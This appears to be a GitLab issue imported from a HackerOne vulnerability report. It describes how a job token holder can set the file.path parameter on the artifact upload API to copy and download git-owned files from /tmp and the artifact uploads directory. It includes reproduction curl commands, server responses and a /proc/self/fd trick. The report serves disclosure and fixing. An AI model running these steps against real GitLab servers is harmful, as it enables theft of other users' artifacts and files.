gitlab-workhorse bypass on job artifact upload allowing any tmp file to be uploaded
Issue imported from HackerOne report #835782 by vakzz
Initial report sent by HackerOne report #835417 by manassehzhou
on 2020-03-31, assigned to @dcouture:
Summary
Similar to https://hackerone.com/reports/835455, a user can set the file.path
for the job artifacts api when uploading an artifact, allowing files from /tmp
or /var/opt/gitlab/gitlab-rails/shared/artifacts/tmp/uploads
to be accessed.
Steps to reproduce
- create a project
- register a new runner
curl -XPOST 'http://gitlab-vm.local/api/v4/runners?token=$RUNNER_REG_TOKEN'
- add a
.gitlab-ci.yml
, can just use the template - use the runner token to request a job
curl -XPOST 'http://gitlab-vm.local/api/v4/jobs/request?token=$RUNNER_TOKEN'
- create an example file to be copied on the server
echo hello > /tmp/ggg; sudo chown git:git /tmp/ggg
- use the job token to upload a file setting the
file.path
to the file to be copied:
curl -XPOST 'http://gitlab-vm.local/api/v4/jobs/21/artifacts?token=$JOB_TOKEN&file.path=/proc/self'
{"message":"insecure path used '/proc/32560'"}
curl -XPOST 'http://gitlab-vm.local/api/v4/jobs/21/artifacts?token=$JOB_TOKEN&file.path=/tmp/ggg'
201
- download the file
curl 'http://gitlab-vm.local/api/v4/jobs/21/artifacts?token=$JOB_TOKEN'
As symlinks are resolved before checking if the path is allowed, /proc/self/fd/xx
could be used to access any files in /tmp
or /var/opt/gitlab/gitlab-rails/shared/artifacts/tmp/uploads
without needing to know the filename just the file descriptor if rails currently has them open. This could allow an attacker to steal artifacts from other jobs or other /tmp files.
Impact
- allows an attacker to read files in /tmp owned by git
- allows an attacker to read files /var/opt/gitlab/gitlab-rails/shared/artifacts/tmp/uploads
What is the current bug behavior?
An attacker is able to supply a file.path
and gitlab believes it has been sent by gitlab-workhorse
What is the expected correct behavior?
Only gitlab-workhorse should be allowed to set file.*
params
Output of checks
Results of GitLab environment info
System information
System: Ubuntu 18.04
Proxy: no
Current User: git
Using RVM: no
Ruby Version: 2.6.5p114
Gem Version: 2.7.10
Bundler Version:1.17.3
Rake Version: 12.3.3
Redis Version: 5.0.7
Git Version: 2.24.1
Sidekiq Version:5.2.7
Go Version: unknown
GitLab information
Version: 12.9.1-ee
Revision: 0ebcf602332
Directory: /opt/gitlab/embedded/service/gitlab-rails
DB Adapter: PostgreSQL
DB Version: 10.12
URL: http://gitlab-vm.local
HTTP Clone URL: http://gitlab-vm.local/some-group/some-project.git
SSH Clone URL: git@gitlab-vm.local:some-group/some-project.git
Elasticsearch: no
Geo: no
Using LDAP: no
Using Omniauth: yes
Omniauth Providers:
GitLab Shell
Version: 12.0.0
Repository storage paths:
- default: /var/opt/gitlab/git-data/repositories
GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell
Git: /opt/gitlab/embedded/bin/git
Impact
- allows an attacker to read files in /tmp owned by git
- allows an attacker to read files /var/opt/gitlab/gitlab-rails/shared/artifacts/tmp/uploads